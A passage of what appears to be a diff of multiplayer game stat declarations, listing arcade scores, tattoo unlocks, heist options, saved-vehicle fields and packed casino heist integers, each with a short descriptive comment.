Arcade Games +(int)DG_DEFENDER_SCORE_9 // Add MP0_ or MP1_ // Arcade Games +(int)DG_MONKEY_INITIALS_0 // Add MP0_ or MP1_ // Arcade Games +(int)DG_MONKEY_INITIALS_1 // Add MP0_ or MP1_ // Arcade Games +(int)DG_MONKEY_INITIALS_2 // Add MP0_ or MP1_ // Arcade Games +(int)DG_MONKEY_INITIALS_3 // Add MP0_ or MP1_ // Arcade Games +(int)DG_MONKEY_INITIALS_4 // Add MP0_ or MP1_ // Arcade Games +(int)DG_MONKEY_INITIALS_5 // Add MP0_ or MP1_ // Arcade Games +(int)DG_MONKEY_INITIALS_6 // Add MP0_ or MP1_ // Arcade Games +(int)DG_MONKEY_INITIALS_7 // Add MP0_ or MP1_ // Arcade Games +(int)DG_MONKEY_INITIALS_8 // Add MP0_ or MP1_ // Arcade Games +(int)DG_MONKEY_INITIALS_9 // Add MP0_ or MP1_ // Arcade Games +(int)DG_MONKEY_SCORE_0 // Add MP0_ or MP1_ // Arcade Games +(int)DG_MONKEY_SCORE_1 // Add MP0_ or MP1_ // Arcade Games +(int)DG_MONKEY_SCORE_2 // Add MP0_ or MP1_ // Arcade Games +(int)DG_MONKEY_SCORE_3 // Add MP0_ or MP1_ // Arcade Games +(int)DG_MONKEY_SCORE_4 // Add MP0_ or MP1_ // Arcade Games +(int)DG_MONKEY_SCORE_5 // Add MP0_ or MP1_ // Arcade Games +(int)DG_MONKEY_SCORE_6 // Add MP0_ or MP1_ // Arcade Games +(int)DG_MONKEY_SCORE_7 // Add MP0_ or MP1_ // Arcade Games +(int)DG_MONKEY_SCORE_8 // Add MP0_ or MP1_ // Arcade Games +(int)DG_MONKEY_SCORE_9 // Add MP0_ or MP1_ // Arcade Games +(int)DG_PENETRATOR_INITIALS_0 // Add MP0_ or MP1_ // Arcade Games +(int)DG_PENETRATOR_INITIALS_1 // Add MP0_ or MP1_ // Arcade Games +(int)DG_PENETRATOR_INITIALS_2 // Add MP0_ or MP1_ // Arcade Games +(int)DG_PENETRATOR_INITIALS_3 // Add MP0_ or MP1_ // Arcade Games +(int)DG_PENETRATOR_INITIALS_4 // Add MP0_ or MP1_ // Arcade Games +(int)DG_PENETRATOR_INITIALS_5 // Add MP0_ or MP1_ // Arcade Games +(int)DG_PENETRATOR_INITIALS_6 // Add MP0_ or MP1_ // Arcade Games +(int)DG_PENETRATOR_INITIALS_7 // Add MP0_ or MP1_ // Arcade Games +(int)DG_PENETRATOR_INITIALS_8 // Add MP0_ or MP1_ // Arcade Games +(int)DG_PENETRATOR_INITIALS_9 // Add MP0_ or MP1_ // Arcade Games +(int)DG_PENETRATOR_SCORE_0 // Add MP0_ or MP1_ // Arcade Games +(int)DG_PENETRATOR_SCORE_1 // Add MP0_ or MP1_ // Arcade Games +(int)DG_PENETRATOR_SCORE_2 // Add MP0_ or MP1_ // Arcade Games +(int)DG_PENETRATOR_SCORE_3 // Add MP0_ or MP1_ // Arcade Games +(int)DG_PENETRATOR_SCORE_4 // Add MP0_ or MP1_ // Arcade Games +(int)DG_PENETRATOR_SCORE_5 // Add MP0_ or MP1_ // Arcade Games +(int)DG_PENETRATOR_SCORE_6 // Add MP0_ or MP1_ // Arcade Games +(int)DG_PENETRATOR_SCORE_7 // Add MP0_ or MP1_ // Arcade Games +(int)DG_PENETRATOR_SCORE_8 // Add MP0_ or MP1_ // Arcade Games +(int)DG_PENETRATOR_SCORE_9 // Add MP0_ or MP1_ // Arcade Games +(int)GGSM_INITIALS_0 // Add MP0_ or MP1_ // Arcade Games +(int)GGSM_INITIALS_1 // Add MP0_ or MP1_ // Arcade Games +(int)GGSM_INITIALS_2 // Add MP0_ or MP1_ // Arcade Games +(int)GGSM_INITIALS_3 // Add MP0_ or MP1_ // Arcade Games +(int)GGSM_INITIALS_4 // Add MP0_ or MP1_ // Arcade Games +(int)GGSM_INITIALS_5 // Add MP0_ or MP1_ // Arcade Games +(int)GGSM_INITIALS_6 // Add MP0_ or MP1_ // Arcade Games +(int)GGSM_INITIALS_7 // Add MP0_ or MP1_ // Arcade Games +(int)GGSM_INITIALS_8 // Add MP0_ or MP1_ // Arcade Games +(int)GGSM_INITIALS_9 // Add MP0_ or MP1_ // Arcade Games +(int)GGSM_SCORE_0 // Add MP0_ or MP1_ // Arcade Games +(int)GGSM_SCORE_1 // Add MP0_ or MP1_ // Arcade Games +(int)GGSM_SCORE_2 // Add MP0_ or MP1_ // Arcade Games +(int)GGSM_SCORE_3 // Add MP0_ or MP1_ // Arcade Games +(int)GGSM_SCORE_4 // Add MP0_ or MP1_ // Arcade Games +(int)GGSM_SCORE_5 // Add MP0_ or MP1_ // Arcade Games +(int)GGSM_SCORE_6 // Add MP0_ or MP1_ // Arcade Games +(int)GGSM_SCORE_7 // Add MP0_ or MP1_ // Arcade Games +(int)GGSM_SCORE_8 // Add MP0_ or MP1_ // Arcade Games +(int)GGSM_SCORE_9 // Add MP0_ or MP1_ // Arcade Games +(int)TWR_INITIALS_0 // Add MP0_ or MP1_ // Arcade Games +(int)TWR_INITIALS_1 // Add MP0_ or MP1_ // Arcade Games +(int)TWR_INITIALS_2 // Add MP0_ or MP1_ // Arcade Games +(int)TWR_INITIALS_3 // Add MP0_ or MP1_ // Arcade Games +(int)TWR_INITIALS_4 // Add MP0_ or MP1_ // Arcade Games +(int)TWR_INITIALS_5 // Add MP0_ or MP1_ // Arcade Games +(int)TWR_INITIALS_6 // Add MP0_ or MP1_ // Arcade Games +(int)TWR_INITIALS_7 // Add MP0_ or MP1_ // Arcade Games +(int)TWR_INITIALS_8 // Add MP0_ or MP1_ // Arcade Games +(int)TWR_INITIALS_9 // Add MP0_ or MP1_ // Arcade Games +(int)TWR_SCORE_0 // Add MP0_ or MP1_ // Arcade Games +(int)TWR_SCORE_1 // Add MP0_ or MP1_ // Arcade Games +(int)TWR_SCORE_2 // Add MP0_ or MP1_ // Arcade Games +(int)TWR_SCORE_3 // Add MP0_ or MP1_ // Arcade Games +(int)TWR_SCORE_4 // Add MP0_ or MP1_ // Arcade Games +(int)TWR_SCORE_5 // Add MP0_ or MP1_ // Arcade Games +(int)TWR_SCORE_6 // Add MP0_ or MP1_ // Arcade Games +(int)TWR_SCORE_7 // Add MP0_ or MP1_ // Arcade Games +(int)TWR_SCORE_8 // Add MP0_ or MP1_ // Arcade Games +(int)TWR_SCORE_9 // Add MP0_ or MP1_ // Arcade Games +(int)TATTOO_FM_UNLOCKS_39 // Add MP0_ or MP1_ // MP Char 0 - Tattoos Unlocks 35 +(int)TATTOO_FM_CURRENT_39 // Add MP0_ or MP1_ // MP Char 0 - Current Tattoos 35 +(int)TATTOO_FM_VIEWED_39 // Add MP0_ or MP1_ // MP Char 0 - Current Tattoos 35 +(int)TATTOO_FM_UNLOCKS_40 // Add MP0_ or MP1_ // MP Char 0 - Tattoos Unlocks 36 +(int)TATTOO_FM_CURRENT_40 // Add MP0_ or MP1_ // MP Char 0 - Current Tattoos 36 +(int)TATTOO_FM_VIEWED_40 // Add MP0_ or MP1_ // MP Char 0 - Current Tattoos 36 +(int)TATTOO_FM_UNLOCKS_41 // Add MP0_ or MP1_ // MP Char 0 - Tattoos Unlocks 37 +(int)TATTOO_FM_CURRENT_41 // Add MP0_ or MP1_ // MP Char 0 - Current Tattoos 37 +(int)TATTOO_FM_VIEWED_41 // Add MP0_ or MP1_ // MP Char 0 - Current Tattoos 37 +(int)TATTOO_FM_UNLOCKS_42 // Add MP0_ or MP1_ // MP Char 0 - Tattoos Unlocks 38 +(int)TATTOO_FM_CURRENT_42 // Add MP0_ or MP1_ // MP Char 0 - Current Tattoos 38 +(int)TATTOO_FM_VIEWED_42 // Add MP0_ or MP1_ // MP Char 0 - Current Tattoos 38 + +(bool)MPPLY_CROSSPLATCARD // Stat to track if headshot challenge is complete to unlock weapon in bob +(bool)MPPLY_CROSSPLATCARD2 // Stat to track if headshot challenge is complete to unlock weapon in bob + +(int)MPPLY_CHIPS_COL_TIME // Casino chips the player collected for free - Time this was last collected +(int)ADMIN_CLOTHES_RM_BS_27 // Add MP0_ or MP1_ // REMOVE THE TANK BY THE SCADMIN +(int)ADMIN_CLOTHES_GV_BS_27 // Add MP0_ or MP1_ // REMOVE THE TANK BY THE SCADMIN +(int)ADMIN_CLOTHES_RM_BS_28 // Add MP0_ or MP1_ // REMOVE THE TANK BY THE SCADMIN +(int)ADMIN_CLOTHES_GV_BS_28 // Add MP0_ or MP1_ // REMOVE THE TANK BY THE SCADMIN + +(int)ADMIN_DECORATION_GV_BS_1 // Add MP0_ or MP1_ // Give decoration items from SCAdmin +(u64)ADMIN_DECORATION_GV_POSIX // Add MP0_ or MP1_ // Posix of when the last give/remove decoration through SCADMIN was applied. + +(int)LW_NEW_POD_VEH_ANNOUNCE // Add MP0_ or MP1_ // store lucky wheel new podium vehicle model + + + +(int)H3OPT_DISRUPTSHIP // Add MP0_ or MP1_ // Disrupt shipments (determines guard weapons / health / armour) +(int)H3OPT_BODYARMORLVL // Add MP0_ or MP1_ // Players purchase Body Armour with different levels (Direct approach only) +(int)H3OPT_CREWWEAP // Add MP0_ or MP1_ // Crew Weapons > weapons (depending on the crew member selected gives the player choice of loadout) +(int)H3OPT_CREWDRIVER // Add MP0_ or MP1_ // Crew Drivers > Entrance Vehicle (helicopter if roof entrance is selected) and escape vehicle (gives player choice of car depending on the crew member, players can mod these in the underground base) +(int)H3OPT_CREWHACKER // Add MP0_ or MP1_ // Crew Hacker > Hacking time in the vault (how long before the gas starts in vault depends on hacker expertise) +(int)H3OPT_KEYLEVELS // Add MP0_ or MP1_ // Inside man gets you keycards that have access to different levels (Levels 1, 2 and 3) +(int)H3OPT_MODVEH // Add MP0_ or MP1_ // MOD vehicle +(int)H3OPT_MASKS // Add MP0_ or MP1_ // Masks + +(int)H3OPT_WEAPS // Add MP0_ or MP1_ // Weawpons +(int)H3OPT_VEHS // Add MP0_ or MP1_ // Vehicles +(int)H3OPT_APPROACH // Add MP0_ or MP1_ // Approach +(int)H3OPT_BITSET0 // Add MP0_ or MP1_ // Bitset0 +(int)H3OPT_ACCESSPOINTS // Add MP0_ or MP1_ // Bitset0 +(int)H3OPT_TARGET // Add MP0_ or MP1_ // Bitset0 +(int)H3OPT_POI // Add MP0_ or MP1_ // Bitset0 +(int)H3OPT_BITSET1 // Add MP0_ or MP1_ // Bitset0 +(int)H3_PARTIALPASS // Add MP0_ or MP1_ // Bitset0 + + +(int)PROP_ARCADE_GAR1 // Add MP0_ or MP1_ // Stores what other property player has purchased +_5 +(int)PROP_ARCADE_GAR1_VALUE // Add MP0_ or MP1_ // Stores value other property player has purchased +_5 + + + +(int)MPSV_VEHICLE_BS_271 // Add MP0_ or MP1_ // Vehicle_225 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_271 // Add MP0_ or MP1_ // Vehicle_225 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_271 // Add MP0_ or MP1_ // Vehicle_225 premium paid by destroyer of vehicle +(int)MPSV_MODEL_271 // Add MP0_ or MP1_ // Vehicle_225 model enum of vehicle +(int)MPSV_FLAGS_271 // Add MP0_ or MP1_ // Vehicle_225 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_271 // Add MP0_ or MP1_ // Vehicle_225 cost of vehicle when purchased + +(u64)MPSV_LP0_271 // Add MP0_ or MP1_ // Vehicle_225 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_272 // Add MP0_ or MP1_ // Vehicle_225 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_272 // Add MP0_ or MP1_ // Vehicle_225 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_272 // Add MP0_ or MP1_ // Vehicle_225 premium paid by destroyer of vehicle +(int)MPSV_MODEL_272 // Add MP0_ or MP1_ // Vehicle_225 model enum of vehicle +(int)MPSV_FLAGS_272 // Add MP0_ or MP1_ // Vehicle_225 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_272 // Add MP0_ or MP1_ // Vehicle_225 cost of vehicle when purchased + +(u64)MPSV_LP0_272 // Add MP0_ or MP1_ // Vehicle_225 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_273 // Add MP0_ or MP1_ // Vehicle_225 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_273 // Add MP0_ or MP1_ // Vehicle_225 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_273 // Add MP0_ or MP1_ // Vehicle_225 premium paid by destroyer of vehicle +(int)MPSV_MODEL_273 // Add MP0_ or MP1_ // Vehicle_225 model enum of vehicle +(int)MPSV_FLAGS_273 // Add MP0_ or MP1_ // Vehicle_225 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_273 // Add MP0_ or MP1_ // Vehicle_225 cost of vehicle when purchased + +(u64)MPSV_LP0_273 // Add MP0_ or MP1_ // Vehicle_225 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_274 // Add MP0_ or MP1_ // Vehicle_225 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_274 // Add MP0_ or MP1_ // Vehicle_225 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_274 // Add MP0_ or MP1_ // Vehicle_225 premium paid by destroyer of vehicle +(int)MPSV_MODEL_274 // Add MP0_ or MP1_ // Vehicle_225 model enum of vehicle +(int)MPSV_FLAGS_274 // Add MP0_ or MP1_ // Vehicle_225 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_274 // Add MP0_ or MP1_ // Vehicle_225 cost of vehicle when purchased + +(u64)MPSV_LP0_274 // Add MP0_ or MP1_ // Vehicle_225 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_275 // Add MP0_ or MP1_ // Vehicle_225 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_275 // Add MP0_ or MP1_ // Vehicle_225 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_275 // Add MP0_ or MP1_ // Vehicle_225 premium paid by destroyer of vehicle +(int)MPSV_MODEL_275 // Add MP0_ or MP1_ // Vehicle_225 model enum of vehicle +(int)MPSV_FLAGS_275 // Add MP0_ or MP1_ // Vehicle_225 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_275 // Add MP0_ or MP1_ // Vehicle_225 cost of vehicle when purchased + +(u64)MPSV_LP0_275 // Add MP0_ or MP1_ // Vehicle_225 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_276 // Add MP0_ or MP1_ // Vehicle_225 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_276 // Add MP0_ or MP1_ // Vehicle_225 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_276 // Add MP0_ or MP1_ // Vehicle_225 premium paid by destroyer of vehicle +(int)MPSV_MODEL_276 // Add MP0_ or MP1_ // Vehicle_225 model enum of vehicle +(int)MPSV_FLAGS_276 // Add MP0_ or MP1_ // Vehicle_225 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_276 // Add MP0_ or MP1_ // Vehicle_225 cost of vehicle when purchased + +(u64)MPSV_LP0_276 // Add MP0_ or MP1_ // Vehicle_225 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_277 // Add MP0_ or MP1_ // Vehicle_225 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_277 // Add MP0_ or MP1_ // Vehicle_225 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_277 // Add MP0_ or MP1_ // Vehicle_225 premium paid by destroyer of vehicle +(int)MPSV_MODEL_277 // Add MP0_ or MP1_ // Vehicle_225 model enum of vehicle +(int)MPSV_FLAGS_277 // Add MP0_ or MP1_ // Vehicle_225 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_277 // Add MP0_ or MP1_ // Vehicle_225 cost of vehicle when purchased + +(u64)MPSV_LP0_277 // Add MP0_ or MP1_ // Vehicle_225 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_278 // Add MP0_ or MP1_ // Vehicle_225 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_278 // Add MP0_ or MP1_ // Vehicle_225 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_278 // Add MP0_ or MP1_ // Vehicle_225 premium paid by destroyer of vehicle +(int)MPSV_MODEL_278 // Add MP0_ or MP1_ // Vehicle_225 model enum of vehicle +(int)MPSV_FLAGS_278 // Add MP0_ or MP1_ // Vehicle_225 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_278 // Add MP0_ or MP1_ // Vehicle_225 cost of vehicle when purchased + +(u64)MPSV_LP0_278 // Add MP0_ or MP1_ // Vehicle_225 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_279 // Add MP0_ or MP1_ // Vehicle_225 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_279 // Add MP0_ or MP1_ // Vehicle_225 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_279 // Add MP0_ or MP1_ // Vehicle_225 premium paid by destroyer of vehicle +(int)MPSV_MODEL_279 // Add MP0_ or MP1_ // Vehicle_225 model enum of vehicle +(int)MPSV_FLAGS_279 // Add MP0_ or MP1_ // Vehicle_225 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_279 // Add MP0_ or MP1_ // Vehicle_225 cost of vehicle when purchased + +(u64)MPSV_LP0_279 // Add MP0_ or MP1_ // Vehicle_225 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_280 // Add MP0_ or MP1_ // Vehicle_225 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_280 // Add MP0_ or MP1_ // Vehicle_225 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_280 // Add MP0_ or MP1_ // Vehicle_225 premium paid by destroyer of vehicle +(int)MPSV_MODEL_280 // Add MP0_ or MP1_ // Vehicle_225 model enum of vehicle +(int)MPSV_FLAGS_280 // Add MP0_ or MP1_ // Vehicle_225 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_280 // Add MP0_ or MP1_ // Vehicle_225 cost of vehicle when purchased + +(u64)MPSV_LP0_280 // Add MP0_ or MP1_ // Vehicle_225 licence plate part 0 + + +(packed)CASINOHSTPSTAT_INT0 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT1 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT2 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT3 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT4 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT5 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT6 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT7 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT8 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT9 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT10 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT11 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT12 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT13 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT14 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT15 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT16 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT17 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT18 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT19 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT20 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT21 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT22 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT23 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT24 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT25 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT26 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT27 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT28 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT29 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT30 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT31 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT32 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT33 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT34 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT35 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT36 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT37 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT38 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT39 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT40 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT41 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT42 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT43 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT44 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT45 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT46 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT47 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT48 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT49 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT50 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT51 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT52 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT53 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT54 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT55 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT56 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT57 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT58 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT59 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT60 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT61 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT62 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT63 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT64 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT65 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT66 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT67 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT68 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT69 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT70 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT71 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT72 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT73 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT74 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT75 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT76 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT77 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT78 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT79 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT80 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT81 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT82 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT83 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT84 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT85 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT86 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT87 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT88 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT89 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT90 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT91 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT92 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT93 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT94 // Add MP0_ or MP1_ // Character Stat with Packed integers index 